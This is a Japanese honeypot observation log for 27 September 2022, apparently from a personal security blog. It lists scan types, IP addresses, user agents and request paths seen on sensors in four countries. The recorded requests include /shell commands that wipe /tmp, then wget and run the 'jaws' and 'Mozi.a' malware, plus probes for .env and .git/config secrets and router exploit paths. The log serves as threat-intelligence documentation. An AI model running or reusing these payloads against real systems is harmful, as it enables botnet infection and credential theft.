2022/09/27 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/09/27分です。

特徴

共通

zgrabによるスキャン行為
Apache Tomcatへのスキャン行為

Location:JP

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
curlによるスキャン行為
/.envへのスキャン行為
/.gitへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス

を確認しました。

Location:US

D-link製品の脆弱性を狙うアクセス
F5 BIG-IP製品の脆弱性(CVE-2022-1388)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
curlによるスキャン行為
/.envへのスキャン行為
/.gitへのスキャン行為
85.206.160.115に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 185.216.71.192/jaws;
sh /tmp/jaws

Location:UK

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
phpMyAdminへのスキャン行為
85.206.160.115に関する不正通信
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 185.216.71.192/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:SG

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
/.envへのスキャン行為
/.gitへのスキャン行為
85.206.160.115に関する不正通信

を確認しました。

他

アクセス数推移

JP：総アクセス数：120 (前日比：-5)
US：総アクセス数：136 (前日比：24)
UK：総アクセス数：84 (前日比：-1)
SG：総アクセス数：58 (前日比：-13)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.129.18.157	United States
2	3.134.118.186	United States
1	20.92.230.228	United States
1	20.163.54.95	United States
1	20.204.18.49	United States
2	23.100.65.145	United States
4	23.224.186.75	United States
1	27.215.209.100	China
1	34.237.53.81	United States
1	36.110.211.5	China
4	42.192.144.2	China
1	44.211.31.21	United States
1	51.159.164.227	France
1	54.176.208.90	United States
1	87.236.176.174	Belgium
6	95.214.235.205	Ukraine
4	101.43.54.41	China
3	101.43.55.216	China
1	104.222.188.150	United Kingdom
1	120.85.112.109	China
1	120.85.113.101	China
1	120.85.143.84	China
10	135.125.246.110	France
23	139.59.81.58	Singapore
36	165.22.105.128	United States
1	172.104.242.173	United States
1	172.105.77.209	United States
1	185.166.84.62	India
1	185.220.101.183	Germany
2	185.254.196.115	Ukraine
1	192.241.202.238	United States
1	192.241.215.41	United States
1	198.235.24.161	United States
1	205.185.122.184	United States
1	209.127.108.216	Canada

UserAgent一覧

件数	UserAgent
41	`-`
3	`Go-http-client/1.1`
1	`Gregarius/0.5.2 ( http[:]//devlog[.]gregarius[.]net/docs/ua)`
2	`Hello, World`
3	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0`
35	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36`
21	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 zgrab/0.x`
1	`Wget/1.21`
1	`curl/7.81.0`
1	`python-requests/2.27.1`
4	`python-requests/2.28.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`MGLNDD_18.179.20.5_80\n`
23		`\x16\x03\x01`
1		`\x82\xb7\xd2Xi\x16\xc5r\x146\xba\x16hN\x96\x81P.\xe6Lp\n`
1		`u\xce\xee\x1a\x18\xb2lW{0\xe4'\n`
2	GET	`/.env.bak`	HTTP/1.1
1	GET	`/.env.example`	HTTP/1.1
25	GET	`/.env`	HTTP/1.1
6	GET	`/.git/config`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/base/.env`	HTTP/1.1
1	GET	`/blog/.env`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=adminisp&psd=adminisp`	HTTP/1.0
1	GET	`/config/.env`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/crm/.env`	HTTP/1.1
1	GET	`/database/.env`	HTTP/1.1
1	GET	`/demo/.env`	HTTP/1.1
1	GET	`/dev/.env`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
1	GET	`/ec2-18-179-20-5.ap-northeast-1.compute.amazonaws.com/.env`	HTTP/1.1
1	GET	`/ec2-18-179-20-5.ap-northeast-1.compute.amazonaws.com/api/.env`	HTTP/1.1
6	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/new/.env`	HTTP/1.1
1	GET	`/newsite/.env`	HTTP/1.1
1	GET	`/old/.env`	HTTP/1.1
1	GET	`/phpMyAdmin/scripts/setup.php`	HTTP/1.1
1	GET	`/prod/.env`	HTTP/1.1
1	GET	`/production/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/public/.env`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/storage/.env`	HTTP/1.1
1	GET	`/vendor/.env`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
1	GET	`/website/.env`	HTTP/1.1
1	GET	`/www/.env`	HTTP/1.1
3	GET	`http[:]//18[.]179[.]20[.]5:80/db/scripts/setup.php`	HTTP/1.0
2	GET	`http[:]//18[.]179[.]20[.]5:80/mysql/scripts/setup.php`	HTTP/1.0
3	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
3	GET	`http[:]//18[.]179[.]20[.]5:80/pma/scripts/setup.php`	HTTP/1.0
2	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/boaform/admin/formLogin`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	36.110.211.2	China
3	38.242.128.76	United States
1	44.211.31.21	United States
2	45.227.254.49	Belize
5	51.79.29.48	Canada
20	54.37.79.75	France
1	60.217.75.70	China
1	64.62.197.166	United States
1	83.220.172.170	Russia
6	89.248.165.52	United Kingdom
1	128.14.141.34	United States
10	143.198.122.137	United States
2	152.89.196.211	Russia
2	156.196.242.55	Egypt
65	163.123.142.153	United States
2	167.248.133.45	United States
1	175.107.1.207	Pakistan
1	180.76.139.223	China
2	183.136.225.35	China
1	185.141.110.139	Turkey
1	192.241.214.125	United States
1	192.241.216.39	United States
1	192.241.218.165	United States
2	193.37.69.207	Russia
1	195.178.120.159	Bulgaria
1	205.210.31.158	United States
1	207.32.219.15	United States

UserAgent一覧

件数	UserAgent
27	`-`
3	`Go-http-client/1.1`
2	`Hello, world`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Linux; Android 11; Mi A3 Build/RKQ1.200903.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/101.0.4951.41 YaBrowser/22.1.0.194 (lite) Mobile Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
26	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
65	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`
1	`curl/7.29.0`

リクエスト内容一覧

件数	Method	Request	Protocol
5		`-`
1		`MGLNDD_34.68.118.83_80\n`
1		`\r\xf9pIj\xdd\xa6\xaa\x06\xdbc\x9c\x13\xd5\v\"&\xd0\xa8f\x06\xf4\xeaf\xbcx+\xcd\n`
4		`\x03`
11		`\x16\x03\x01`
1	CONNECT	`85[.]206[.]160[.]115:80`	HTTP/1.1
1	CONNECT	`hotmail-com.olc[.]protection[.]outlook[.]com:25`	HTTP/1.1
1	CONNECT	`mkzaim[.]ru:443`	HTTP/1.1
26	GET	`/.env`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=user&psd=user`	HTTP/1.0
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/metrics`	HTTP/1.1
1	GET	`/pma/scripts/setup.php`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+185[.]216[.]71[.]192/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/webfig/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
65	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/mgmt/tm/util/bash`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	34.85.144.234	United States
1	41.34.61.20	Egypt
4	45.118.205.2	India
1	49.143.32.6	South Korea
1	60.217.75.70	China
1	66.240.192.82	United States
2	79.110.62.205	Bulgaria
1	79.110.62.213	Bulgaria
2	80.66.88.215	Russia
6	89.248.165.52	United Kingdom
1	95.161.131.237	Antigua and Barbuda
4	101.43.68.37	China
4	118.195.252.158	China
1	120.86.253.8	China
1	121.130.31.124	South Korea
26	134.209.150.222	United States
12	139.59.83.146	Singapore
2	152.89.196.211	Russia
1	156.197.14.154	Egypt
2	167.248.133.120	United States
1	172.105.77.209	United States
1	175.107.13.252	Pakistan
2	183.136.225.35	China
1	184.105.247.208	United States
1	192.241.205.143	United States
1	192.241.214.71	United States
1	192.241.216.106	United States
1	192.241.221.98	United States
1	198.235.24.151	United States

UserAgent一覧

件数	UserAgent
61	`-`
1	`Hello, World`
8	`Hello, world`
1	`Mozila/5.0`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
3	`Mozilla/5.0 zgrab/0.x`

リクエスト内容一覧

件数	Method	Request	Protocol
5		`-`
1		`1\x16\x8c\xfe0\x13\"+b\xb7\x9d\n`
1		`MGLNDD_132.145.66.34_80\n`
2		`\x03`
34		`\x16\x03\x01`
1		`\xa8t\x19\xdc\x1f\x10\xb7\xeeb\xe4\n`
1		`\xb9\x1a\x9a\xbc\v3\xf5\x1b\x12V\xf8\xb5b\t\xabLE*\x8cfe\x0e\xcef\xdf\x82\x0f\xcdi\x0e\xcefd\n`
1		`\xd5%\xaf\xc4O\xaaQ\vB\x07\xde\x98q\\\x97\"\xfa\xcek\x02\xda\xea)\x02`f\xe8\xa9\xd6\xea)\x02\xdb\xeek\x02\xda\xea*\n`
1		`\xf1\x81\x97\xba\n`
1		`\|@\x7f\xed\x16J\xf81\n`
1		`h/\xfe\xb8\x0e0\xdf\xdb\n`
1	CONNECT	`85[.]206[.]160[.]115:80`	HTTP/1.1
1	CONNECT	`hotmail-com.olc[.]protection[.]outlook[.]com:25`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/manager/text/list`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
7	GET	`/shell?cd+/tmp;rm+-rf+*;wget+185[.]216[.]71[.]192/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
2	GET	`http[:]//132[.]145[.]66[.]34:80/db/scripts/setup.php`	HTTP/1.0
2	GET	`http[:]//132[.]145[.]66[.]34:80/mysql/scripts/setup.php`	HTTP/1.0
2	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
2	GET	`http[:]//132[.]145[.]66[.]34:80/pma/scripts/setup.php`	HTTP/1.0
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
3	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.134.118.186	United States
1	20.55.53.144	United States
1	20.92.230.228	United States
1	44.211.31.21	United States
2	45.227.254.51	Belize
21	54.37.79.75	France
1	60.217.75.70	China
2	64.20.63.126	United States
1	66.240.192.82	United States
1	87.236.176.208	Belgium
6	89.248.165.52	United Kingdom
1	95.142.121.18	Slovakia
3	152.89.196.211	Russia
2	162.142.125.212	United States
2	162.142.125.220	United States
2	167.94.138.119	United States
1	172.104.242.173	United States
3	183.136.225.35	China
1	184.105.247.238	United States
1	185.220.101.184	Germany
1	192.241.208.143	United States
1	192.241.216.35	United States
1	198.199.100.127	United States
1	209.127.109.222	Canada

UserAgent一覧

件数	UserAgent
16	`-`
2	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36`
21	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`
1	`python-requests/2.28.1`

リクエスト内容一覧

件数	Method	Request	Protocol
5		`-`
1		`MGLNDD_13.67.44.234_80`
2		`\x03`
2		`\x16\x03\x01`
1	CONNECT	`85[.]206[.]160[.]115:80`	HTTP/1.1
1	CONNECT	`hotmail-com.olc[.]protection[.]outlook[.]com:25`	HTTP/1.1
23	GET	`/.env`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
8	GET	`/favicon.ico`	HTTP/1.1
2	GET	`/game/zhuce/index.php`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/manager/text/list`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
3	PRI	`*`	HTTP/2.0